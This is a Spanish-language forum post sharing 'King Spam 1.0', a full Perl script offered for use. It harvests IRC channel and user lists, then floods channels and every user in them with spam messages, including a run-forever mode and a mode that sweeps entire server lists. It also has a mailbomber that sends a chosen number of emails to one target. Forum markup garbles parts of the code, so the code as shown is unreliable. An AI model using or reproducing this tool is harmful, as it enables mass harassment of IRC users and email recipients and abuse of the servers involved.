[Perl] King Spam 1.0

  • 0 Respuestas
  • 3882 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] King Spam 1.0

  • en: Mayo 15, 2015, 01:27:23 pm
Un simple script en Perl para hacer spam en canales IRC y correos.

Tiene las siguientes opciones :

  • Spammear un canal normalmente o por siempre[/li]
  • Spammear un servidor entero[/li]
  • Spammear una lista de servidores y todos sus canales[/li]
  • Poder elegir un nick para el bot y un timeout[/li]
  • Permite spammear cuentas de correo[/li][/list]

    El codigo :

    Código: Perl
    1. #!usr/bin/perl
    2. #King Spam 1.0
    3. #(C) Doddy Hackman 2015
    4. # SMTP Servers
    5. #smtp.gmail.com - 465
    6. #smtp.mail.yahoo.com -587
    7.  
    8. use IO::Socket;
    9. use Color::Output;
    10. Color::Output::Init;
    11. use Getopt::Long;
    12.  
    13. #use Win32::OLE;
    14.  
    15. my $nick_secundario    = "Cl4ptr4p";
    16. my $timeout_secundario = "5";
    17.  
    18. GetOptions(
    19.     "get_channels=s"         => \$get_channels,
    20.     "get_users=s"            => \$get_users,
    21.     "spam_channel=s"         => \$spam_channel,
    22.     "spam_channel_forever=s" => \$spam_channel_forever,
    23.     "spam_server=s"          => \$spam_server,
    24.     "spam_servers_file=s"    => \$spam_servers_file,
    25.     "spam_targets=s"         => \$spam_targets,
    26.     "spam_file=s"            => \$spam_file,
    27.     "channel=s"              => \$channel,
    28.     "port=s"                 => \$port,
    29.     "nick=s"                 => \$nick,
    30.     "savefile=s"             => \$file,
    31.     "timeout=s"              => \$timeout,
    32.     "mailbomber"             => \$mailbomber
    33. );
    34.  
    35. head();
    36.  
    37. if ($get_channels) {
    38.  
    39.     my $port_now = "";
    40.     my $nick_now = "";
    41.     my $file_now = "";
    42.  
    43.     if ( !$port ) {
    44.         $port_now = "6667";
    45.     }
    46.     else {
    47.         $port_now = $port;
    48.     }
    49.  
    50.     if ( !$nick ) {
    51.         $nick_now = $nick_secundario;
    52.     }
    53.     else {
    54.         $nick_now = $nick;
    55.     }
    56.  
    57.     if ( !$file ) {
    58.         $file_now = "";
    59.     }
    60.     else {
    61.         $file_now = $file;
    62.     }
    63.  
    64.     listar_canales( $get_channels, $port_now, $nick_now, $file_now );
    65.  
    66. }
    67. elsif ($get_users) {
    68.  
    69.     my $port_now = "";
    70.     my $nick_now = "";
    71.     my $file_now = "";
    72.  
    73.     if ( !$port ) {
    74.         $port_now = "6667";
    75.     }
    76.     else {
    77.         $port_now = $port;
    78.     }
    79.  
    80.     if ( !$nick ) {
    81.         $nick_now = $nick_secundario;
    82.     }
    83.     else {
    84.         $nick_now = $nick;
    85.     }
    86.  
    87.     printear_titulo("</li><li type="square"> Serching users ...\n\n");[/li][/list]
    88.  
    89.     my @usuarios =
    90.       buscar_usuarios( $get_users, $port_now, $nick_now, $channel );
    91.  
    92.     if ( int(@usuarios) eq "0" ) {
    93.         printear("[-] Users not found\n");
    94.     }
    95.     else {
    96.         printear("</li><li type="square"> Users Found : ");[/li][/list]
    97.         print int(@usuarios) . "\n\n";
    98.         for my $usuario (@usuarios) {
    99.             printear("</li><li type="square"> User : ");[/li][/list]
    100.             print $usuario. "\n";
    101.             savefile( $file, $usuario );
    102.         }
    103.     }
    104.  
    105. }
    106. elsif ($spam_channel) {
    107.  
    108.     my $port_now    = "";
    109.     my $nick_now    = "";
    110.     my $timeout_now = "";
    111.  
    112.     if ( !$port ) {
    113.         $port_now = "6667";
    114.     }
    115.     else {
    116.         $port_now = $port;
    117.     }
    118.  
    119.     if ( !$nick ) {
    120.         $nick_now = $nick_secundario;
    121.     }
    122.     else {
    123.         $nick_now = $nick;
    124.     }
    125.  
    126.     if ( !$timeout ) {
    127.         $timeout_now = $timeout_secundario;
    128.     }
    129.     else {
    130.         $timeout_now = $timeout;
    131.     }
    132.  
    133.     spam_canal(
    134.         $spam_channel, $port_now,  $nick_now,
    135.         $channel,      $spam_file, $timeout_now
    136.     );
    137.  
    138. }
    139. elsif ($spam_channel_forever) {
    140.  
    141.     my $port_now    = "";
    142.     my $nick_now    = "";
    143.     my $timeout_now = "";
    144.  
    145.     if ( !$port ) {
    146.         $port_now = "6667";
    147.     }
    148.     else {
    149.         $port_now = $port;
    150.     }
    151.  
    152.     if ( !$nick ) {
    153.         $nick_now = $nick_secundario;
    154.     }
    155.     else {
    156.         $nick_now = $nick;
    157.     }
    158.  
    159.     if ( !$timeout ) {
    160.         $timeout_now = $timeout_secundario;
    161.     }
    162.     else {
    163.         $timeout_now = $timeout;
    164.     }
    165.  
    166.     spam_canal_forever( $spam_channel_forever, $port_now, $nick_now,
    167.         $channel, $spam_file, $timeout_now );
    168.  
    169. }
    170. elsif ($spam_server) {
    171.  
    172.     my $port_now    = "";
    173.     my $nick_now    = "";
    174.     my $timeout_now = "";
    175.  
    176.     if ( !$port ) {
    177.         $port_now = "6667";
    178.     }
    179.     else {
    180.         $port_now = $port;
    181.     }
    182.  
    183.     if ( !$nick ) {
    184.         $nick_now = $nick_secundario;
    185.     }
    186.     else {
    187.         $nick_now = $nick;
    188.     }
    189.  
    190.     if ( !$timeout ) {
    191.         $timeout_now = $timeout_secundario;
    192.     }
    193.     else {
    194.         $timeout_now = $timeout;
    195.     }
    196.  
    197.     my @encontrados = buscar_canales( $spam_server, $port_now, $nick_now );
    198.  
    199.     for my $encontrado (@encontrados) {
    200.         if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
    201.             my $canal    = $1;
    202.             my $cantidad = $2;
    203.  
    204.             spam_canal( $spam_server, $port_now, $nick_now, $canal, $spam_file,
    205.                 $timeout_now );
    206.  
    207.         }
    208.     }
    209.  
    210. }
    211. elsif ($spam_servers_file) {
    212.  
    213.     my $port_now    = "";
    214.     my $nick_now    = "";
    215.     my $timeout_now = "";
    216.  
    217.     if ( !$port ) {
    218.         $port_now = "6667";
    219.     }
    220.     else {
    221.         $port_now = $port;
    222.     }
    223.  
    224.     if ( !$nick ) {
    225.         $nick_now = $nick_secundario;
    226.     }
    227.     else {
    228.         $nick_now = $nick;
    229.     }
    230.  
    231.     if ( !$timeout ) {
    232.         $timeout_now = $timeout_secundario;
    233.     }
    234.     else {
    235.         $timeout_now = $timeout;
    236.     }
    237.  
    238.     unless ( -f $spam_servers_file ) {
    239.         printear("[-] File not found\n\n");
    240.         copyright();
    241.     }
    242.     else {
    243.  
    244.         my @lista = loadfile($spam_servers_file);
    245.  
    246.         printear("</li><li type="square"> Servers Found : ");[/li][/list]
    247.         print int(@lista) . "\n";
    248.  
    249.         printear_titulo(
    250.             "\n-------------------------------------------------------------\n"
    251.         );
    252.  
    253.         for my $spam_server (@lista) {
    254.             chomp $spam_server;
    255.             my @encontrados =
    256.               buscar_canales( $spam_server, $port_now, $nick_now );
    257.  
    258.             for my $encontrado (@encontrados) {
    259.                 chomp $encontrado;
    260.                 if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
    261.                     my $canal    = $1;
    262.                     my $cantidad = $2;
    263.  
    264.                     spam_canal( $spam_server, $port_now, $nick_now, $canal,
    265.                         $spam_file, $timeout_now );
    266.                     printear_titulo(
    267. "\n-------------------------------------------------------------\n"
    268.                     );
    269.                 }
    270.             }
    271.         }
    272.     }
    273.  
    274. }
    275. elsif ($spam_targets) {
    276.  
    277.     my $port_now    = "";
    278.     my $nick_now    = "";
    279.     my $timeout_now = "";
    280.  
    281.     if ( !$port ) {
    282.         $port_now = "6667";
    283.     }
    284.     else {
    285.         $port_now = $port;
    286.     }
    287.  
    288.     if ( !$nick ) {
    289.         $nick_now = $nick_secundario;
    290.     }
    291.     else {
    292.         $nick_now = $nick;
    293.     }
    294.  
    295.     if ( !$timeout ) {
    296.         $timeout_now = $timeout_secundario;
    297.     }
    298.     else {
    299.         $timeout_now = $timeout;
    300.     }
    301.  
    302.     if ( -f $spam_targets ) {
    303.  
    304.         my @datos = loadfile($spam_targets);
    305.  
    306.         printear("</li><li type="square"> Servers Found : ");[/li][/list]
    307.         print int(@datos) . "\n";
    308.  
    309.         printear_titulo(
    310.             "\n-------------------------------------------------------------\n"
    311.         );
    312.  
    313.         for my $dato (@datos) {
    314.             chomp $dato;
    315.             if ( $dato =~ /(.*) --- (.*)/ ) {
    316.                 my $server = $1;
    317.                 my $canal  = $2;
    318.  
    319.                 spam_canal( $server, $port_now, $nick_now, $canal, $spam_file,
    320.                     $timeout_now );
    321.                 printear_titulo(
    322. "\n-------------------------------------------------------------\n"
    323.                 );
    324.  
    325.             }
    326.         }
    327.  
    328.     }
    329.     else {
    330.         printear("\n[-] File not Found\n\n");
    331.         copyright();
    332.     }
    333.  
    334. }
    335. elsif ($mailbomber) {
    336.  
    337.     printear_titulo("</li><li type="square"> Spam Mails : OK\n\n\n");[/li][/list]
    338.  
    339.     printear("</li><li type="square"> Host : ");[/li][/list]
    340.     chomp( my $host = <stdin> );
    341.  
    342.     printear("\n</li><li type="square"> Port : ");[/li][/list]
    343.     chomp( my $puerto = <stdin> );
    344.  
    345.     printear("\n</li><li type="square"> Username : ");[/li][/list]
    346.     chomp( my $username = <stdin> );
    347.  
    348.     printear("\n</li><li type="square"> Password : ");[/li][/list]
    349.     chomp( my $password = <stdin> );
    350.  
    351.     printear("\n</li><li type="square"> Count Message : ");[/li][/list]
    352.     chomp( my $count = <stdin> );
    353.  
    354.     printear("\n</li><li type="square"> To : ");[/li][/list]
    355.     chomp( my $to = <stdin> );
    356.  
    357.     printear("\n</li><li type="square"> Subject : ");[/li][/list]
    358.     chomp( my $asunto = <stdin> );
    359.  
    360.     printear("\n</li><li type="square"> Body : ");[/li][/list]
    361.     chomp( my $body = <stdin> );
    362.  
    363.     printear("\n</li><li type="square"> File to Send : ");[/li][/list]
    364.     chomp( my $file = <stdin> );
    365.  
    366.     printear_titulo("\n</li><li type="square"> Starting ...\n\n");[/li][/list]
    367.  
    368.     for my $num ( 1 .. $count ) {
    369.         printear("</li><li type="square"> Sending Message : ");[/li][/list]
    370.         print "$num\n";
    371.         sendmail(
    372.             $host,     $puerto, $username, $password, $username, $username,
    373.             $username, $to,     $asunto,   $body,     $file
    374.         );
    375.     }
    376.  
    377.     printear_titulo("\n</li><li type="square"> Finished\n");[/li][/list]
    378.  
    379. }
    380. else {
    381.     sintax();
    382. }
    383.  
    384. copyright();
    385.  
    386. # Functions
    387.  
    388. sub spam_canal {
    389.  
    390.     my $hostname = $_[0];
    391.     my $port     = $_[1];
    392.     my $nombre   = $_[2];
    393.     my $canal    = $_[3];
    394.     my $archivo  = $_[4];
    395.  
    396.     printear("</li><li type="square"> Connecting to ");[/li][/list]
    397.     print $hostname. "\n\n";
    398.  
    399.     my @nicks    = buscar_usuarios( $_[0], $_[1], $_[2], $_[3] );
    400.     my $contador = 0;
    401.     my $termine  = 0;
    402.     my $timeout  = $_[5];
    403.  
    404.     my @spamnow = loadfile($archivo);
    405.  
    406.     if (
    407.         my $socket = new IO::Socket::INET(
    408.             PeerAddr => $hostname,
    409.             PeerPort => $port,
    410.             Proto    => "tcp"
    411.         )
    412.       )
    413.     {
    414.  
    415.         print $socket "NICK $nombre\r\n";
    416.         print $socket "USER $nombre 1 1 1 1\r\n";
    417.         print $socket "JOIN $canal\r\n";
    418.  
    419.         printear_titulo("</li><li type="square"> Users Found : ");[/li][/list]
    420.         print int(@nicks) . "\n\n";
    421.  
    422.         while ( my $log = <$socket> ) {
    423.             chomp $log;
    424.  
    425.             if ( $log =~ /^PING(.*)$/i ) {
    426.                 print $socket "PONG $1\r\n";
    427.             }
    428.  
    429.             if ( $contador eq "0" ) {
    430.                 printear("</li><li type="square"> Spam in channel : ");[/li][/list]
    431.                 print $canal. "\n";
    432.                 sleep($timeout);
    433.                 print $socket "PRIVMSG $canal "
    434.                   . $spamnow[ rand(@spamnow) ] . "\r\n";
    435.                 $contador++;
    436.             }
    437.  
    438.             foreach $names (@nicks) {
    439.                 chomp $names;
    440.                 sleep($timeout);
    441.                 unless ( $nombre eq $names ) {
    442.                     $names =~ s/\@//;
    443.                     $names =~ s/\+//;
    444.                     print $socket "PRIVMSG $names $spamnow[rand(@spamnow)]\r\n";
    445.                     printear("</li><li type="square"> Spam to user $names : ");[/li][/list]
    446.                     print "OK\n";
    447.                 }
    448.                 $termine++;
    449.             }
    450.  
    451.             if ( $termine eq int(@nicks) ) {
    452.                 $socket->close();
    453.                 last;
    454.             }
    455.  
    456.         }
    457.     }
    458.     else {
    459.         printear("[-] Error\n");
    460.         $socket->close();
    461.     }
    462.  
    463. }
    464.  
    465. sub spam_canal_forever {
    466.  
    467.     my $hostname = $_[0];
    468.     my $port     = $_[1];
    469.     my $nombre   = $_[2];
    470.     my $canal    = $_[3];
    471.     my $archivo  = $_[4];
    472.  
    473.     printear("</li><li type="square"> Connecting to ");[/li][/list]
    474.     print $hostname. "\n\n";
    475.  
    476.     my @nicks    = buscar_usuarios( $_[0], $_[1], $_[2], $_[3] );
    477.     my $contador = 0;
    478.     my $termine  = 0;
    479.     my $timeout  = $_[5];
    480.  
    481.     my @spamnow = loadfile($archivo);
    482.  
    483.     if (
    484.         my $socket = new IO::Socket::INET(
    485.             PeerAddr => $hostname,
    486.             PeerPort => $port,
    487.             Proto    => "tcp"
    488.         )
    489.       )
    490.     {
    491.  
    492.         print $socket "NICK $nombre\r\n";
    493.         print $socket "USER $nombre 1 1 1 1\r\n";
    494.         print $socket "JOIN $canal\r\n";
    495.  
    496.         printear_titulo("</li><li type="square"> Users Found : ");[/li][/list]
    497.         print int(@nicks) . "\n\n";
    498.  
    499.         while ( my $log = <$socket> ) {
    500.             chomp $log;
    501.  
    502.             while (1) {
    503.                 if ( $log =~ /^PING(.*)$/i ) {
    504.                     print $socket "PONG $1\r\n";
    505.                 }
    506.  
    507.                 if ( $contador eq "0" ) {
    508.                     printear("</li><li type="square"> Spam in channel : ");[/li][/list]
    509.                     print $canal. "\n";
    510.                     sleep($timeout);
    511.                     print $socket "PRIVMSG $canal "
    512.                       . $spamnow[ rand(@spamnow) ] . "\r\n";
    513.                     $contador++;
    514.                 }
    515.  
    516.                 foreach $names (@nicks) {
    517.                     chomp $names;
    518.                     sleep($timeout);
    519.                     unless ( $nombre eq $names ) {
    520.                         $names =~ s/\@//;
    521.                         $names =~ s/\+//;
    522.                         print $socket
    523.                           "PRIVMSG $names $spamnow[rand(@spamnow)]\r\n";
    524.                         printear("</li><li type="square"> Spam to user $names : ");[/li][/list]
    525.                         print "OK\n";
    526.                     }
    527.                     $termine++;
    528.                 }
    529.                 $contador = 0;
    530.                 print "\n";
    531.             }
    532.  
    533.             if ( $termine eq int(@nicks) ) {
    534.                 $socket->close();
    535.                 last;
    536.             }
    537.  
    538.         }
    539.     }
    540.     else {
    541.         printear("[-] Error\n");
    542.         $socket->close();
    543.     }
    544.  
    545. }
    546.  
    547. sub buscar_usuarios {
    548.  
    549.     my $hostname = $_[0];
    550.     my $port     = $_[1];
    551.     my $nombre   = $_[2];
    552.     my $canal    = $_[3];
    553.  
    554.     if (
    555.         my $socket = new IO::Socket::INET(
    556.             PeerAddr => $hostname,
    557.             PeerPort => $port,
    558.             Proto    => "tcp"
    559.         )
    560.       )
    561.     {
    562.  
    563.         print $socket "NICK $nombre\r\n";
    564.         print $socket "USER $nombre 1 1 1 1\r\n";
    565.         print $socket "JOIN $canal\r\n";
    566.  
    567.         while ( my $log = <$socket> ) {
    568.  
    569.             chomp $log;
    570.  
    571.             if ( $log =~ /^PING(.*)$/i ) {
    572.                 print $socket "PONG $1\r\n";
    573.             }
    574.  
    575.             if ( $log =~ m/:(.*) 353 (.*) = (.*) <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)/ig ) {
    576.                 my $pro = $4;
    577.                 chop $pro;
    578.                 $pro =~ s/$nombre//;
    579.                 my @nicks = split " ", $pro;
    580.                 $socket->close();
    581.                 return @nicks;
    582.             }
    583.  
    584.         }
    585.     }
    586. }
    587.  
    588. sub buscar_canales {
    589.  
    590.     my @resultado;
    591.  
    592.     my $hostname = $_[0];
    593.     my $port     = $_[1];
    594.     my $nombre   = $_[2];
    595.  
    596.     if (
    597.         my $socket = new IO::Socket::INET(
    598.             PeerAddr => $hostname,
    599.             PeerPort => $port,
    600.             Proto    => "tcp"
    601.         )
    602.       )
    603.     {
    604.  
    605.         print $socket "NICK $nombre\r\n";
    606.         print $socket "USER $nombre 1 1 1 1\r\n";
    607.         print $socket "LIST\r\n";
    608.  
    609.         while ( my $log = <$socket> ) {
    610.  
    611.             if ( $log =~ /322 (.*?) (.*?) (.*?) :/ ) {
    612.                 my $canal    = $2;
    613.                 my $cantidad = $3;
    614.                 push( @resultado, $canal . "-soy_un_limite-" . $cantidad );
    615.             }
    616.  
    617.             if ( $log =~ /:End of \/LIST/ ) {
    618.                 last;
    619.             }
    620.  
    621.         }
    622.  
    623.         $socket->close;
    624.  
    625.         return @resultado;
    626.  
    627.     }
    628.  
    629. }
    630.  
    631. sub listar_canales {
    632.  
    633.     my $host = $_[0];
    634.     my $port = $_[1];
    635.     my $nick = $_[2];
    636.     my $file = $_[3];
    637.  
    638.     printear_titulo("</li><li type="square"> Serching channels ...\n\n");[/li][/list]
    639.     my @encontrados = buscar_canales( $host, $port, $nick );
    640.     if ( int(@encontrados) eq "0" or int(@encontrados) eq "1" ) {
    641.         printear_titulo("[-] Channels not found\n");
    642.     }
    643.     else {
    644.         printearf_titulo( "Channels", "Users" );
    645.         print "\n";
    646.         for my $encontrado (@encontrados) {
    647.             if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
    648.                 my $canal    = $1;
    649.                 my $cantidad = $2;
    650.                 printearf( $canal, $cantidad );
    651.  
    652.                 if ( $file ne "" ) {
    653.                     savefile( $file, $canal );
    654.                 }
    655.  
    656.             }
    657.         }
    658.     }
    659.  
    660. }
    661.  
    662. sub sendmail {
    663.  
    664. ## Function Based on : http://code.activestate.com/lists/pdk/5351/
    665. ## Credits : Thanks to Phillip Richcreek and Eric Promislow
    666.  
    667.     my (
    668.         $host, $port, $username, $password, $from, $cc,
    669.         $bcc,  $to,   $asunto,   $mensaje,  $file
    670.     ) = @_;
    671.  
    672.     $correo = Win32::OLE->new('CDO.Message');
    673.  
    674.     $correo->Configuration->Fields->SetProperty( "Item",
    675.         'http://schemas.microsoft.com/cdo/configuration/sendusername',
    676.         $username );
    677.     $correo->Configuration->Fields->SetProperty( "Item",
    678.         'http://schemas.microsoft.com/cdo/configuration/sendpassword',
    679.         $password );
    680.     $correo->Configuration->Fields->SetProperty( "Item",
    681.         'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
    682.     $correo->Configuration->Fields->SetProperty( "Item",
    683.         'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
    684.         $port );
    685.     $correo->Configuration->Fields->SetProperty( "Item",
    686.         'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
    687.     $correo->Configuration->Fields->SetProperty( "Item",
    688.         'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
    689.     $correo->Configuration->Fields->SetProperty( "Item",
    690.         'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
    691.     $correo->Configuration->Fields->Update();
    692.  
    693.     if ( -f $file ) {
    694.         $correo->AddAttachment($file);
    695.     }
    696.  
    697.     $correo->{From}     = $from;
    698.     $correo->{CC}       = $cc;
    699.     $correo->{BCC}      = $bcc;
    700.     $correo->{To}       = $to;
    701.     $correo->{Subject}  = $asunto;
    702.     $correo->{TextBody} = $mensaje;
    703.     $correo->Send();
    704.  
    705. }
    706.  
    707. # More Functions
    708.  
    709. sub printearf_titulo {
    710.     cprintf( "\x0310" . "%-32s  %s" . "\x030\n", $_[0], $_[1] );
    711. }
    712.  
    713. sub printearf {
    714.     cprintf( "\x036" . "%-32s  %s" . "\x030\n", $_[0], $_[1] );
    715. }
    716.  
    717. sub printear {
    718.     cprint( "\x036" . $_[0] . "\x030" );
    719.     return "";
    720. }
    721.  
    722. sub printear_logo {
    723.     cprint( "\x037" . $_[0] . "\x030" );
    724.     return ""
    725.  
    726. }
    727.  
    728. sub printear_titulo {
    729.     cprint( "\x0310" . $_[0] . "\x030" );
    730.     return "";
    731. }
    732.  
    733. sub savefile {
    734.     open( SAVE, ">>" . $_[0] );
    735.     print SAVE $_[1] . "\n";
    736.     close SAVE;
    737. }
    738.  
    739. sub loadfile {
    740.     if ( -f $_[0] ) {
    741.         my @words;
    742.         my @r;
    743.         open( FILE, $_[0] );
    744.         @words = <FILE>;
    745.         close FILE;
    746.         for (@words) {
    747.             push( @r, $_ );
    748.         }
    749.         return (@r);
    750.     }
    751.     else {
    752.         printear("\n[-] File not found\n\n");
    753.         copyright();
    754.     }
    755. }
    756.  
    757. sub sintax {
    758.     printear("</li><li type="square"> Sintax : ");[/li][/list]
    759.     print "perl $0 <option> <value>\n";
    760.     printear("\n</li><li type="square"> Options : \n\n");[/li][/list]
    761.     print
    762. "-get_channels <host> -port <port> -nick <nick> -savefile <file> : Get & Save Channels of a server\n";
    763.     print
    764. "-get_users <host> -port <port> -channel <channel> -nick <nick> -savefile <file> : Get & Save Channels of a server\n";
    765.     print
    766. "-spam_channel <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel\n";
    767.     print
    768. "-spam_channel_forever <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel Forever\n";
    769.     print
    770. "-spam_server <host> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a server\n";
    771.     print
    772. "-spam_servers_list <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in multiple servers\n";
    773.     print
    774. "-spam_targets <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in servers & channels saved\n";
    775.     print "-mailbomber : Open MailBomber\n";
    776.     printear("\n</li><li type="square"> Example : \n\n");[/li][/list]
    777.     print "perl kingspam.pl -get_channels localhost\n";
    778.     print "perl kingspam.pl -get_users localhost -channel #locos\n";
    779.     print
    780. "perl kingspam.pl -spam_channel localhost -channel #locos -spam_file c:/spam.txt\n";
    781.     print
    782. "perl kingspam.pl -spam_channel_forever localhost -channel #locos -spam_file c:/spam.txt\n";
    783.     print "perl kingspam.pl -spam_server localhost -spam_file c:/spam.txt\n";
    784.     print
    785. "perl kingspam.pl -spam_servers_file c:/servers.txt -nick ClapTrap -spam_file c:/spam.txt\n";
    786.     print
    787.       "perl kingspam.pl -spam_targets c:/servers.txt -spam_file c:/spam.txt\n";
    788.     print "perl kingspam.pl -mailbomber\n";
    789. }
    790.  
    791. sub head {
    792.     printear_logo("\n-- == KingSpam 1.0 == --\n\n\n");
    793. }
    794.  
    795. sub copyright {
    796.     printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
    797.     exit(1);
    798. }
    799.  
    800. # The End ?
    801.  

    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

 

Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 5330
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 3472
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 2606
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 2598
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX
Funciones más utilizadas en la programación de un perl script

Iniciado por Dragora

Respuestas: 0
Vistas: 4370
Último mensaje Enero 06, 2019, 01:01:06 am
por Dragora